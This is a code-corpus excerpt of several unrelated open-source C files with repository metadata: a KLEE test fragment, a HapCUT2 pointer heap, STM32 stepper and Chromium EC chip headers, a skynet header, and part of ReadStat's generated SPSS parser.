klee_assume(k < 4);
klee_assume(k >= 0);
short *ptrs[4] = {array + 3, array + 0, array + 7, array + 2};
// CHECK-DAG: Yes
if ((*(ptrs[k])) == 42)
printf("Yes\n");
else
printf("No\n");
// CHECK-DAG: KLEE: done: completed paths = 1
// CHECK-NOT: No
return 0;
}
|
8337bdf4cf428dc4cad44396e4a1b1695bdbe2e7
|
fec41f425b51e73842bd37fe0720e9d633288d42
|
/hapcut2-src/pointerheap.c
|
39d6ed729215aabac2e4abb75ab1b6b48f8ab03d
|
[
"BSD-2-Clause"
] |
permissive
|
vibansal/HapCUT2
|
52434f72af703b4147baf966e00c2476d2c46d4c
|
0eb7075424afbb40259ced6b5b1cbd95d0cedf55
|
refs/heads/master
| 2022-10-21T19:16:58.785156
| 2022-10-14T21:50:21
| 2022-10-14T21:50:21
| 64,779,084
| 188
| 46
|
BSD-2-Clause
| 2022-10-14T21:56:42
| 2016-08-02T17:48:30
|
C
|
UTF-8
|
C
| false
| false
| 4,597
|
c
|
pointerheap.c
|
// binary heap that implements priority queue
// heap basics: leftchild = 2i+1 rightchild = 2i + 2, parent = i-1/2
// 1 3 6 5 9 8 heap elements
// 0 1 2 3 4 5 array index
#include "pointerheap.h"
void pswap(PHEAP* heap, int i, int j) {
// heap->location[heap->harray[i].index] = i; heap->location[heap->harray[j].index] = j;
// need to maintain location of each SNP in heap
}
// trickledown can also be used to update the PHEAP if the score of a node is decreased via an update
void pmaxHeapify(PHEAP* heap, int node, struct SNPfrags* snpfrag, int* slist) {
int lc = 2 * node + 1;
int rc = 2 * node + 2;
int maxindex = node;
int temp;
// printf("inside maxheapify %d %d %d\n",lc,rc,node);
if (rc >= heap->length) {
if (lc < heap->length) maxindex = lc;
} else {
if (fabsf(snpfrag[slist[heap->elements[lc]]].score) >= fabsf(snpfrag[slist[heap->elements[rc]]].score)) maxindex = lc;
else maxindex = rc;
}
if (fabsf(snpfrag[slist[heap->elements[node]]].score) < fabsf(snpfrag[slist[heap->elements[maxindex]]].score)) // swap and percolate down
{
//temp = snpfrag[slist[node]].heaploc; snpfrag[slist[node]].heaploc = snpfrag[slist[maxindex]].heaploc; snpfrag[slist[maxindex]].heaploc = temp;
temp = heap->elements[node];
heap->elements[node] = heap->elements[maxindex];
heap->elements[maxindex] = temp;
snpfrag[slist[heap->elements[node]]].heaploc = node;
snpfrag[slist[heap->elements[maxindex]]].heaploc = maxindex;
pmaxHeapify(heap, maxindex, snpfrag, slist);
}
}
void pbubbleUp(PHEAP* heap, int node, struct SNPfrags* snpfrag, int* slist) // score of a node is increased, check if the node needs to be bubbled up the heap
{
int parent, temp;
while (node > 0) {
parent = (node - 1);
parent /= 2;/*
fprintf(stderr,"spot1\n");
fprintf(stderr,"%d\n",node);
fprintf(stderr,"%d\n",heap->elements[node]);
fprintf(stderr,"%d\n",slist[heap->elements[node]]);
fprintf(stderr,"spot2\n");*/
//fprintf(stderr,"%f\n",fabsf(snpfrag[slist[heap->elements[parent]]].score));
//fprintf(stderr,"spot3");
//printf("node %d score %f parent %d %f \n",node,heap->harray[node].score,parent,heap->harray[parent].score);
if (fabsf(snpfrag[slist[heap->elements[node]]].score) > fabsf(snpfrag[slist[heap->elements[parent]]].score)) {
//temp = snpfrag[slist[node]].heaploc; snpfrag[slist[node]].heaploc = snpfrag[slist[parent]].heaploc; snpfrag[slist[parent]].heaploc = temp;
temp = heap->elements[node];
heap->elements[node] = heap->elements[parent];
heap->elements[parent] = temp;
snpfrag[slist[heap->elements[node]]].heaploc = node;
snpfrag[slist[heap->elements[parent]]].heaploc = parent;
} else break;
node = parent;
}
}
void pbuildmaxheap(PHEAP* heap, struct SNPfrags* snpfrag, int* slist) {
int i = 0;
for (i = heap->length / 2 - 1; i >= 0; i--) pmaxHeapify(heap, i, snpfrag, slist);
//fprintf(stdout,"heapify %d hl %d\n",i,heap->length);
}
int premovemax(PHEAP* heap, struct SNPfrags* snpfrag, int* slist) {
// easy to copy elements of the harray[0] element from the heap
if (heap->length == 0) return -1;
heap->elements[0] = heap->elements[heap->length - 1];
snpfrag[slist[heap->elements[0]]].heaploc = 0;
heap->length--;
if (heap->length == 0) return 1;
// swap root's value with the maximum of it's two children, maxHeapify
pmaxHeapify(heap, 0, snpfrag, slist);
return 1;
}
void pinitheap(PHEAP* heap, int size) {
heap->elements = (int*) calloc(size,sizeof (int));
heap->length = size; //heap->maxlength = size;
}
/*
int mainchecl (int argc, char** argv)
{
// float f= -3.4; float f1 = fabsf(f); printf("abs %f %f \n",f,f1);
int i =0;
PHEAP heap;
createheap(&heap,7);
heap.harray[0].score = 3; heap.harray[1].score = -50; heap.harray[2].score = 6; heap.harray[3].score = 8; heap.harray[4].score = 9;
heap.harray[5].score = 12; heap.harray[6].score = 14;
for (i=0;i<heap.length;i++) fprintf(stdout,"elem %d %f \n",i,heap.harray[i].score);
buildmaxheap(&heap);
for (i=0;i<heap.length;i++) fprintf(stdout,"elem %d %f \n",i,heap.harray[i].score);
heap.harray[5].score = -553;
bubbleUp(&heap,5);
// maxHeapify(&heap,2);
for (i=0;i<heap.length;i++) fprintf(stdout,"elem %d %f \n",i,heap.harray[i].score);
return 1;
}*/
|
7a9acadb52a9ebf4ef31a3224764fed954ab3f55
|
41c7328eadeab5ed7c0584b7db51996a05dd9f2d
|
/F0:F030,F042,F072/CANbus_stepper/src/hardware.h
|
ecdc62b1ea51fba7270507e84633dc0d841a4514
|
[] |
no_license
|
eddyem/stm32samples
|
1c00ccb8593ea270cae536c85f178a522f704ed5
|
dce73d358b1fca3e7fa397f5c6d0d5c1cb28aba0
|
refs/heads/master
| 2023-07-28T11:13:10.361942
| 2023-07-24T20:04:22
| 2023-07-24T20:04:22
| 32,647,425
| 152
| 42
| null | null | null | null |
UTF-8
|
C
| false
| false
| 4,294
|
h
|
hardware.h
|
/*
* This file is part of the Stepper project.
* Copyright 2020 Edward V. Emelianov <edward.emelianoff@gmail.com>.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#pragma once
#ifndef __HARDWARE_H__
#define __HARDWARE_H__
// Most of hardware-dependendent definitions & functions
#include <stm32f0.h>
#define CONCAT(a,b) a ## b
#define STR_HELPER(s) #s
#define STR(s) STR_HELPER(s)
#ifndef USARTNUM
#error "Define USARTNUM 1 or 2"
#endif
#define FORMUSART(X) CONCAT(USART, X)
#define USARTX FORMUSART(USARTNUM)
// Board address - PB15|14|13|12
#define READ_BRD_ADDR() ((GPIOB->IDR >> 12) & 0x0f)
// RS-485 receive/transmit (PA8: 0-Rx, 1-Tx)
#define RS485_TX() do{GPIOA->BSRR = GPIO_BSRR_BS_8;}while(0)
#define RS485_RX() do{GPIOA->BRR = GPIO_BRR_BR_8;}while(0)
// pins manipulation
// DIR - PA4
#define SET_DIR() do{GPIOA->BSRR = 1<<4;}while(0)
#define CLEAR_DIR() do{GPIOA->BRR = 1<<4;}while(0)
// read ~FAULT - PF1 (inverse)
#define FAULT_STATE() ((GPIOF->IDR & (1<<1)) ? 0 : 1)
// ~SLEEP - PC15 (inverse)
#define SLEEP_ON() do{GPIOC->BRR = 1<<15;}while(0)
#define SLEEP_OFF() do{GPIOC->BSRR = 1<<15;}while(0)
// configure ~SLP as PP output
#define SLP_CFG_OUT() do{GPIOC->MODER = (GPIOC->MODER&~GPIO_MODER_MODER15) | GPIO_MODER_MODER15_O; }while(0)
// and ~SLP as floating input
#define SLP_CFG_IN() do{GPIOC->MODER = (GPIOC->MODER&~GPIO_MODER_MODER15);}while(0)
// SLP state when input (non-inverted)
#define SLP_STATE() ((GPIOC->IDR & (1<<15)) ? 1 : 0)
// ~EN, CFG6 - PC13 (inverse)
#define DRV_ENABLE() do{GPIOC->BRR = 1<<13;}while(0)
#define DRV_DISABLE() do{GPIOC->BSRR = 1<<13;}while(0)
// configure ~EN as PP output
#define EN_CFG_OUT() do{GPIOC->MODER = (GPIOC->MODER&~GPIO_MODER_MODER13) | GPIO_MODER_MODER13_O; }while(0)
// configure ~EN as floating input
#define EN_CFG_IN() do{GPIOC->MODER = (GPIOC->MODER&~GPIO_MODER_MODER13);}while(0)
// EN state when it's an input (non-inverted)
#define EN_STATE() ((GPIOC->IDR & (1<<13)) ? 1 : 0)
// ~CS, CFG3, microstepping2 - PC14
#define SET_UST2() do{GPIOC->BSRR = 1<<14;}while(0)
#define RESET_UST2() do{GPIOC->BRR = 1<<14;}while(0)
#define CS_ACTIVE() do{GPIOC->BRR = 1<<14;}while(0)
#define CS_PASSIVE() do{GPIOC->BSRR = 1<<14;}while(0)
// microstepping0 (PA7), 1 (PA5), ~reset (PA6) - PP config
#define UST01_CFG_PP() do{GPIOA->MODER = (GPIOA->MODER & ~(GPIO_MODER_MODER5|GPIO_MODER_MODER6|GPIO_MODER_MODER7)) | (GPIO_MODER_MODER5_O|GPIO_MODER_MODER6_O|GPIO_MODER_MODER7_O);}while(0)
#define SET_UST0() do{GPIOA->BSRR = 1<<7;}while(0)
#define SET_UST1() do{GPIOA->BSRR = 1<<5;}while(0)
#define RESET_UST0() do{GPIOA->BRR = 1<<7;}while(0)
#define RESET_UST1() do{GPIOA->BRR = 1<<5;}while(0)
// ~RESET pin (inverse), PA6
#define DRV_RESET_ON() do{GPIOA->BRR = 1<<6;}while(0)
#define DRV_RESET_OFF() do{GPIOA->BSRR = 1<<6;}while(0)
// end-switches state
#define ESW_STATE() ((GPIOB->IDR & 0x07) | ((GPIOB->IDR>>7) & 0x08))
// configure ~CS as PP output
//#define CS_CFG_OUT() do{GPIOC->MODER = (GPIOC->MODER&~GPIO_MODER_MODER14) | GPIO_MODER_MODER14_O; }while(0)
// ~CS as floating input
// Vio_ON, PF0 (inverse)
#define VIO_ON() do{GPIOF->BRR = 1;}while(0)
#define VIO_OFF() do{GPIOF->BSRR = 1;}while(0)
// turn off timer of STEPS pin
#define STEP_TIMER_OFF() do{TIM15->CR1 &= ~TIM_CR1_CEN;}while(0)
// timer for stepper
extern TIM_TypeDef *TIMx;
#define timer_isr tim15_isr
extern volatile uint32_t Tms;
void Jump2Boot();
void gpio_setup();
void iwdg_setup();
uint8_t getBRDaddr();
uint8_t refreshBRDaddr();
void sleep(uint16_t ms);
void timer_setup();
#endif // __HARDWARE_H__
|
07c5726ad738c7d1b5d35b0fa2102569a9b0d47d
|
0781549584321df513b2615711a3f6ed0005d2ce
|
/spark-server/server/Test/TestDependency/skynet/skynet-src/skynet_harbor.h
|
2cde0c2ed5f563345d15d7d7eb388a895281bf1c
|
[
"MIT"
] |
permissive
|
Manistein/SparkServer
|
f476c6fca1bf2fd692d9a9debb838244c551d1af
|
7b2f295ee5f95de48e453aedb0a79ab0b35dd6ac
|
refs/heads/master
| 2023-05-12T17:22:31.437530
| 2023-04-26T07:33:23
| 2023-04-26T07:33:23
| 182,103,174
| 227
| 53
|
MIT
| 2022-12-08T05:29:03
| 2019-04-18T14:30:08
|
C
|
UTF-8
|
C
| false
| false
| 571
|
h
|
skynet_harbor.h
|
#ifndef SKYNET_HARBOR_H
#define SKYNET_HARBOR_H
#include <stdint.h>
#include <stdlib.h>
#define GLOBALNAME_LENGTH 16
#define REMOTE_MAX 256
struct remote_name {
char name[GLOBALNAME_LENGTH];
uint32_t handle;
};
struct remote_message {
struct remote_name destination;
const void * message;
size_t sz;
int type;
};
void skynet_harbor_send(struct remote_message *rmsg, uint32_t source, int session);
int skynet_harbor_message_isremote(uint32_t handle);
void skynet_harbor_init(int harbor);
void skynet_harbor_start(void * ctx);
void skynet_harbor_exit();
#endif
|
b42943cf16c679a5eb0d943a5165bd674667b612
|
f9e7d65cb784c01a0200145ba8d289afe41d4a56
|
/chip/npcx/config_chip-npcx7.h
|
5919f69af8d61f7a2577a3564f59cddcc571dc1a
|
[
"BSD-3-Clause"
] |
permissive
|
FrameworkComputer/EmbeddedController
|
ad7086769e87d0a4179eae96a7c9ff5e383ff54e
|
f6d6b927eed71550d3475411cfc3e59abe5cef2a
|
refs/heads/hx20-hx30
| 2023-08-08T20:45:10.621169
| 2023-05-26T07:03:59
| 2023-05-26T07:03:59
| 447,021,040
| 846
| 48
|
BSD-3-Clause
| 2023-05-26T07:04:59
| 2022-01-12T00:11:14
|
C
|
UTF-8
|
C
| false
| false
| 5,348
|
h
|
config_chip-npcx7.h
|
/* Copyright 2017 The Chromium OS Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#ifndef __CROS_EC_CONFIG_CHIP_NPCX7_H
#define __CROS_EC_CONFIG_CHIP_NPCX7_H
/*
* NPCX7 Series Device-Specific Information
* Ex. NPCX7(M)(N)(G/K/F)(B/C)
* @param M: 8: 128-pins package, 9: 144-pins package
* @param N: 5: 128KB RAM Size, 6: 256KB RAM Size, 7: 384KB RAM Size
* @param G/K/F/W: Google EC depends on specific features.
* @param B/C: (Optional) Chip generation in the same series.
*/
/* Chip ID for all variants */
#define NPCX787G_CHIP_ID 0x1F
#define NPCX796F_A_B_CHIP_ID 0x21
#define NPCX796F_C_CHIP_ID 0x29
#define NPCX797F_C_CHIP_ID 0x20
#define NPCX797W_B_CHIP_ID 0x24
#define NPCX797W_C_CHIP_ID 0x2C
/*****************************************************************************/
/* Hardware features */
/* The optional hardware features depend on chip variant */
#if defined(CHIP_VARIANT_NPCX7M6F) || defined(CHIP_VARIANT_NPCX7M6FB) || \
defined(CHIP_VARIANT_NPCX7M6FC) || defined(CHIP_VARIANT_NPCX7M7FC) || \
defined(CHIP_VARIANT_NPCX7M7WB) || defined(CHIP_VARIANT_NPCX7M7WC)
#define NPCX_INT_FLASH_SUPPORT /* Internal flash support */
#define NPCX_PSL_MODE_SUPPORT /* Power switch logic mode for ultra-low power */
#define NPCX_EXT32K_OSC_SUPPORT /* External 32KHz crytal osc. input support */
#endif
#if defined(CHIP_VARIANT_NPCX7M6FB) || defined(CHIP_VARIANT_NPCX7M6FC) || \
defined(CHIP_VARIANT_NPCX7M7FC) || defined(CHIP_VARIANT_NPCX7M7WB) || \
defined(CHIP_VARIANT_NPCX7M7WC)
#define NPCX_UART_FIFO_SUPPORT
/* Number of UART modules. */
#define NPCX_SECOND_UART
#define UART_MODULE_COUNT 2
/* 64-bit timer support */
#define NPCX_ITIM64_SUPPORT
#else
#define UART_MODULE_COUNT 1
#endif
#if defined(CHIP_VARIANT_NPCX7M7WB) || defined(CHIP_VARIANT_NPCX7M7WC)
#define NPCX_WOV_SUPPORT /* Audio front-end for Wake-on-Voice support */
#endif
/*
* Number of I2C controllers. Controller 4/5/6 has 2 ports, so the chip has
* three additional ports.
*/
#define CONFIG_I2C_MULTI_PORT_CONTROLLER
/* Number of I2C controllers */
#define I2C_CONTROLLER_COUNT 8
/* Number of I2C ports */
#ifdef NPCX_PSL_MODE_SUPPORT
#define I2C_PORT_COUNT 10
#else
#define I2C_PORT_COUNT 11
#endif
#define NPCX_I2C_FIFO_SUPPORT
/* Use SHI module version 2 supported by npcx7 family */
#define NPCX_SHI_V2
/*****************************************************************************/
/* Memory mapping */
#define NPCX_BTRAM_SIZE 0x800 /* 2KB data ram used by booter. */
#define NPCX_RAM_SIZE (CONFIG_DATA_RAM_SIZE + NPCX_PROGRAM_MEMORY_SIZE)
#if defined(CHIP_VARIANT_NPCX7M6F) || defined(CHIP_VARIANT_NPCX7M6FB) || \
defined(CHIP_VARIANT_NPCX7M6FC) || defined(CHIP_VARIANT_NPCX7M6G)
/* 192KB RAM for FW code */
# define NPCX_PROGRAM_MEMORY_SIZE (192 * 1024)
/* program memory base address for Code RAM (0x100C0000 - 192KB) */
# define CONFIG_PROGRAM_MEMORY_BASE 0x10090000
# define CONFIG_RAM_BASE 0x200C0000 /* memory address of data ram */
/* 62 KB data RAM + 2 KB BT RAM size */
# define CONFIG_DATA_RAM_SIZE 0x00010000
#elif defined(CHIP_VARIANT_NPCX7M7WB)
/* 256KB RAM for FW code */
# define NPCX_PROGRAM_MEMORY_SIZE (256 * 1024)
/* program memory base address for Code RAM (0x100B0000 - 256KB) */
# define CONFIG_PROGRAM_MEMORY_BASE 0x10070000
# define CONFIG_RAM_BASE 0x200B0000 /* memory address of data ram */
/* 126 KB data RAM + 2 KB BT RAM size */
# define CONFIG_DATA_RAM_SIZE 0x00020000
#elif defined(CHIP_VARIANT_NPCX7M7FC) || defined(CHIP_VARIANT_NPCX7M7WC)
/*
* Code RAM is normally assumed to be same as image size, but since
* we exclude 4k from the image (see NPCX_PROGRAM_MEMORY_SIZE) we
* need to explicitly configure it. This is the actual size of code
* RAM on-chip.
*/
# define CONFIG_CODE_RAM_SIZE (256 * 1024)
/*
* In npcx797wc and npcx797fc, the code RAM size is limited by the
* internal flash size (i.e. 512 KB/2=256 KB.) The driver has to
* re-organize the memory to:
* 1. the overall memory (RAM) layout is re-organized against the
* datasheet:
* In datasheet: 320 KB code RAM + 64 KB data RAM
* After re-organization: 256 KB code RAM + 128 KB data RAM.
* 2. 256KB program RAM, but only 512K of Flash (vs 1M for the
* -WB). After the boot header is added, a 256K image would be
* too large to fit in either RO or RW sections of Flash (each
* of which is half of it). Because other code assumes that
* image size is a multiple of Flash erase granularity, we
* sacrifice a whole sector.
*/
# define NPCX_PROGRAM_MEMORY_SIZE (CONFIG_CODE_RAM_SIZE - 0x1000)
/* program memory base address for Code RAM (0x100B0000 - 256KB) */
# define CONFIG_PROGRAM_MEMORY_BASE 0x10070000
# define CONFIG_RAM_BASE 0x200B0000 /* memory address of data ram */
/* 126 KB data RAM + 2 KB BT RAM size */
# define CONFIG_DATA_RAM_SIZE 0x00020000
/*
* Override default NPCX_RAM_SIZE because NPCX_PROGRAM_MEMORY_SIZE
* is not the actual size of code RAM.
*/
# undef NPCX_RAM_SIZE
# define NPCX_RAM_SIZE (CONFIG_DATA_RAM_SIZE + CONFIG_CODE_RAM_SIZE)
#else
# error "Unsupported chip variant"
#endif
#define CONFIG_RAM_SIZE (CONFIG_DATA_RAM_SIZE - NPCX_BTRAM_SIZE)
/* no low power ram in npcx7 series */
#endif /* __CROS_EC_CONFIG_CHIP_NPCX7_H */
|
acf267710c57e6aeefbe6b866997825ade76bb1c
|
dedae7f284ca271834d4289c3b03b5615cb9527a
|
/src/spss/readstat_sav_parse.c
|
93df3492320646c553ea15ddea860a5bae6cefeb
|
[
"MIT"
] |
permissive
|
WizardMac/ReadStat
|
d6bd3b971c461e442c5e6bd4f7a147a434ca6539
|
f6a54c24db613e81d7fd06e049a7ef4f21176fda
|
refs/heads/dev
| 2023-08-08T22:24:19.292128
| 2023-03-26T15:40:23
| 2023-03-26T15:40:23
| 5,128,518
| 239
| 84
|
MIT
| 2023-08-18T09:20:31
| 2012-07-20T21:17:40
|
C
|
UTF-8
|
C
| false
| false
| 22,654
|
c
|
readstat_sav_parse.c
|
#line 1 "src/spss/readstat_sav_parse.rl"
#include <limits.h>
#include <stdlib.h>
#include "../readstat.h"
#include "../readstat_malloc.h"
#include "../readstat_strings.h"
#include "readstat_sav.h"
#include "readstat_sav_parse.h"
#line 21 "src/spss/readstat_sav_parse.rl"
typedef struct varlookup {
char name[8*4+1];
int index;
} varlookup_t;
static int compare_key_varlookup(const void *elem1, const void *elem2) {
const char *key = (const char *)elem1;
const varlookup_t *v = (const varlookup_t *)elem2;
return strcasecmp(key, v->name);
}
static int compare_varlookups(const void *elem1, const void *elem2) {
const varlookup_t *v1 = (const varlookup_t *)elem1;
const varlookup_t *v2 = (const varlookup_t *)elem2;
return strcasecmp(v1->name, v2->name);
}
static int count_vars(sav_ctx_t *ctx) {
int i;
spss_varinfo_t *last_info = NULL;
int var_count = 0;
for (i=0; i<ctx->var_index; i++) {
spss_varinfo_t *info = ctx->varinfo[i];
if (last_info == NULL || strcmp(info->name, last_info->name) != 0) {
var_count++;
}
last_info = info;
}
return var_count;
}
static varlookup_t *build_lookup_table(int var_count, sav_ctx_t *ctx) {
varlookup_t *table = readstat_malloc(var_count * sizeof(varlookup_t));
int offset = 0;
int i;
spss_varinfo_t *last_info = NULL;
for (i=0; i<ctx->var_index; i++) {
spss_varinfo_t *info = ctx->varinfo[i];
if (last_info == NULL || strcmp(info->name, last_info->name) != 0) {
varlookup_t *entry = &table[offset++];
memcpy(entry->name, info->name, sizeof(info->name));
entry->index = info->index;
}
last_info = info;
}
qsort(table, var_count, sizeof(varlookup_t), &compare_varlookups);
return table;
}
#line 68 "src/spss/readstat_sav_parse.c"
static const signed char _sav_long_variable_parse_actions[] = {
0, 1, 1, 1, 5, 2, 2, 0,
3, 6, 4, 3, 0
};
static const short _sav_long_variable_parse_key_offsets[] = {
0, 0, 5, 19, 33, 47, 61, 75,
89, 103, 104, 108, 113, 118, 123, 128,
133, 138, 143, 148, 153, 158, 163, 168,
173, 178, 183, 188, 193, 198, 203, 208,
213, 218, 223, 228, 233, 238, 243, 248,
253, 258, 263, 268, 273, 278, 283, 288,
293, 298, 303, 308, 313, 318, 323, 328,
333, 338, 343, 348, 353, 358, 363, 368,
373, 378, 383, 388, 393, 398, 403, 408,
413, 418, 423, 428, 0
};
static const unsigned char _sav_long_variable_parse_trans_keys[] = {
255u, 0u, 63u, 91u, 127u, 47u, 61u, 96u,
255u, 0u, 34u, 37u, 45u, 58u, 63u, 91u,
94u, 123u, 127u, 47u, 61u, 96u, 255u, 0u,
34u, 37u, 45u, 58u, 63u, 91u, 94u, 123u,
127u, 47u, 61u, 96u, 255u, 0u, 34u, 37u,
45u, 58u, 63u, 91u, 94u, 123u, 127u, 47u,
61u, 96u, 255u, 0u, 34u, 37u, 45u, 58u,
63u, 91u, 94u, 123u, 127u, 47u, 61u, 96u,
255u, 0u, 34u, 37u, 45u, 58u, 63u, 91u,
94u, 123u, 127u, 47u, 61u, 96u, 255u, 0u,
34u, 37u, 45u, 58u, 63u, 91u, 94u, 123u,
127u, 47u, 61u, 96u, 255u, 0u, 34u, 37u,
45u, 58u, 63u, 91u, 94u, 123u, 127u, 61u,
127u, 255u, 0u, 31u, 9u, 127u, 255u, 0u,
31u, 255u, 0u, 63u, 91u, 127u, 9u, 127u,
255u, 0u, 31u, 9u, 127u, 255u, 0u, 31u,
9u, 127u, 255u, 0u, 31u, 9u, 127u, 255u,
0u, 31u, 9u, 127u, 255u, 0u, 31u, 9u,
127u, 255u, 0u, 31u, 9u, 127u, 255u, 0u,
31u, 9u, 127u, 255u, 0u, 31u, 9u, 127u,
255u, 0u, 31u, 9u, 127u, 255u, 0u, 31u,
9u, 127u, 255u, 0u, 31u, 9u, 127u, 255u,
0u, 31u, 9u, 127u, 255u, 0u, 31u, 9u,
127u, 255u, 0u, 31u, 9u, 127u, 255u, 0u,
31u, 9u, 127u, 255u, 0u, 31u, 9u, 127u,
255u, 0u, 31u, 9u, 127u, 255u, 0u, 31u,
9u, 127u, 255u, 0u, 31u, 9u, 127u, 255u,
0u, 31u, 9u, 127u, 255u, 0u, 31u, 9u,
127u, 255u, 0u, 31u, 9u, 127u, 255u, 0u,
31u, 9u, 127u, 255u, 0u, 31u, 9u, 127u,
255u, 0u, 31u, 9u, 127u, 255u, 0u, 31u,
9u, 127u, 255u, 0u, 31u, 9u, 127u, 255u,
0u, 31u, 9u, 127u, 255u, 0u, 31u, 9u,
127u, 255u, 0u, 31u, 9u, 127u, 255u, 0u,
31u, 9u, 127u, 255u, 0u, 31u, 9u, 127u,
255u, 0u, 31u, 9u, 127u, 255u, 0u, 31u,
9u, 127u, 255u, 0u, 31u, 9u, 127u, 255u,
0u, 31u, 9u, 127u, 255u, 0u, 31u, 9u,
127u, 255u, 0u, 31u, 9u, 127u, 255u, 0u,
31u, 9u, 127u, 255u, 0u, 31u, 9u, 127u,
255u, 0u, 31u, 9u, 127u, 255u, 0u, 31u,
9u, 127u, 255u, 0u, 31u, 9u, 127u, 255u,
0u, 31u, 9u, 127u, 255u, 0u, 31u, 9u,
127u, 255u, 0u, 31u, 9u, 127u, 255u, 0u,
31u, 9u, 127u, 255u, 0u, 31u, 9u, 127u,
255u, 0u, 31u, 9u, 127u, 255u, 0u, 31u,
9u, 127u, 255u, 0u, 31u, 9u, 127u, 255u,
0u, 31u, 9u, 127u, 255u, 0u, 31u, 9u,
127u, 255u, 0u, 31u, 9u, 127u, 255u, 0u,
31u, 9u, 127u, 255u, 0u, 31u, 9u, 127u,
255u, 0u, 31u, 9u, 127u, 255u, 0u, 31u,
9u, 127u, 255u, 0u, 31u, 9u, 127u, 255u,
0u, 31u, 9u, 127u, 255u, 0u, 31u, 9u,
127u, 255u, 0u, 31u, 9u, 0u
};
static const signed char _sav_long_variable_parse_single_lengths[] = {
0, 1, 4, 4, 4, 4, 4, 4,
4, 1, 2, 3, 1, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 1, 0
};
static const signed char _sav_long_variable_parse_range_lengths[] = {
0, 2, 5, 5, 5, 5, 5, 5,
5, 0, 1, 1, 2, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 0, 0
};
static const short _sav_long_variable_parse_index_offsets[] = {
0, 0, 4, 14, 24, 34, 44, 54,
64, 74, 76, 80, 85, 89, 94, 99,
104, 109, 114, 119, 124, 129, 134, 139,
144, 149, 154, 159, 164, 169, 174, 179,
184, 189, 194, 199, 204, 209, 214, 219,
224, 229, 234, 239, 244, 249, 254, 259,
264, 269, 274, 279, 284, 289, 294, 299,
304, 309, 314, 319, 324, 329, 334, 339,
344, 349, 354, 359, 364, 369, 374, 379,
384, 389, 394, 399, 0
};
static const signed char _sav_long_variable_parse_cond_targs[] = {
0, 0, 0, 2, 0, 10, 0, 0,
0, 0, 0, 0, 0, 3, 0, 10,
0, 0, 0, 0, 0, 0, 0, 4,
0, 10, 0, 0, 0, 0, 0, 0,
0, 5, 0, 10, 0, 0, 0, 0,
0, 0, 0, 6, 0, 10, 0, 0,
0, 0, 0, 0, 0, 7, 0, 10,
0, 0, 0, 0, 0, 0, 0, 8,
0, 10, 0, 0, 0, 0, 0, 0,
0, 9, 10, 0, 0, 0, 0, 11,
12, 0, 0, 0, 13, 0, 0, 0,
2, 12, 0, 0, 0, 14, 12, 0,
0, 0, 15, 12, 0, 0, 0, 16,
12, 0, 0, 0, 17, 12, 0, 0,
0, 18, 12, 0, 0, 0, 19, 12,
0, 0, 0, 20, 12, 0, 0, 0,
21, 12, 0, 0, 0, 22, 12, 0,
0, 0, 23, 12, 0, 0, 0, 24,
12, 0, 0, 0, 25, 12, 0, 0,
0, 26, 12, 0, 0, 0, 27, 12,
0, 0, 0, 28, 12, 0, 0, 0,
29, 12, 0, 0, 0, 30, 12, 0,
0, 0, 31, 12, 0, 0, 0, 32,
12, 0, 0, 0, 33, 12, 0, 0,
0, 34, 12, 0, 0, 0, 35, 12,
0, 0, 0, 36, 12, 0, 0, 0,
37, 12, 0, 0, 0, 38, 12, 0,
0, 0, 39, 12, 0, 0, 0, 40,
12, 0, 0, 0, 41, 12, 0, 0,
0, 42, 12, 0, 0, 0, 43, 12,
0, 0, 0, 44, 12, 0, 0, 0,
45, 12, 0, 0, 0, 46, 12, 0,
0, 0, 47, 12, 0, 0, 0, 48,
12, 0, 0, 0, 49, 12, 0, 0,
0, 50, 12, 0, 0, 0, 51, 12,
0, 0, 0, 52, 12, 0, 0, 0,
53, 12, 0, 0, 0, 54, 12, 0,
0, 0, 55, 12, 0, 0, 0, 56,
12, 0, 0, 0, 57, 12, 0, 0,
0, 58, 12, 0, 0, 0, 59, 12,
0, 0, 0, 60, 12, 0, 0, 0,
61, 12, 0, 0, 0, 62, 12, 0,
0, 0, 63, 12, 0, 0, 0, 64,
12, 0, 0, 0, 65, 12, 0, 0,
0, 66, 12, 0, 0, 0, 67, 12,
0, 0, 0, 68, 12, 0, 0, 0,
69, 12, 0, 0, 0, 70, 12, 0,
0, 0, 71, 12, 0, 0, 0, 72,
12, 0, 0, 0, 73, 12, 0, 0,
0, 74, 12, 0, 0, 0, 75, 12,
0, 0, 1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22,
23, 24, 25, 26, 27, 28, 29, 30,
31, 32, 33, 34, 35, 36, 37, 38,
39, 40, 41, 42, 43, 44, 45, 46,
47, 48, 49, 50, 51, 52, 53, 54,
55, 56, 57, 58, 59, 60, 61, 62,
63, 64, 65, 66, 67, 68, 69, 70,
71, 72, 73, 74, 75, 0
};
static const signed char _sav_long_variable_parse_cond_actions[] = {
0, 0, 0, 1, 0, 5, 0, 0,
0, 0, 0, 0, 0, 0, 0, 5,
0, 0, 0, 0, 0, 0, 0, 0,
0, 5, 0, 0, 0, 0, 0, 0,
0, 0, 0, 5, 0, 0, 0, 0,
0, 0, 0, 0, 0, 5, 0, 0,
0, 0, 0, 0, 0, 0, 0, 5,
0, 0, 0, 0, 0, 0, 0, 0,
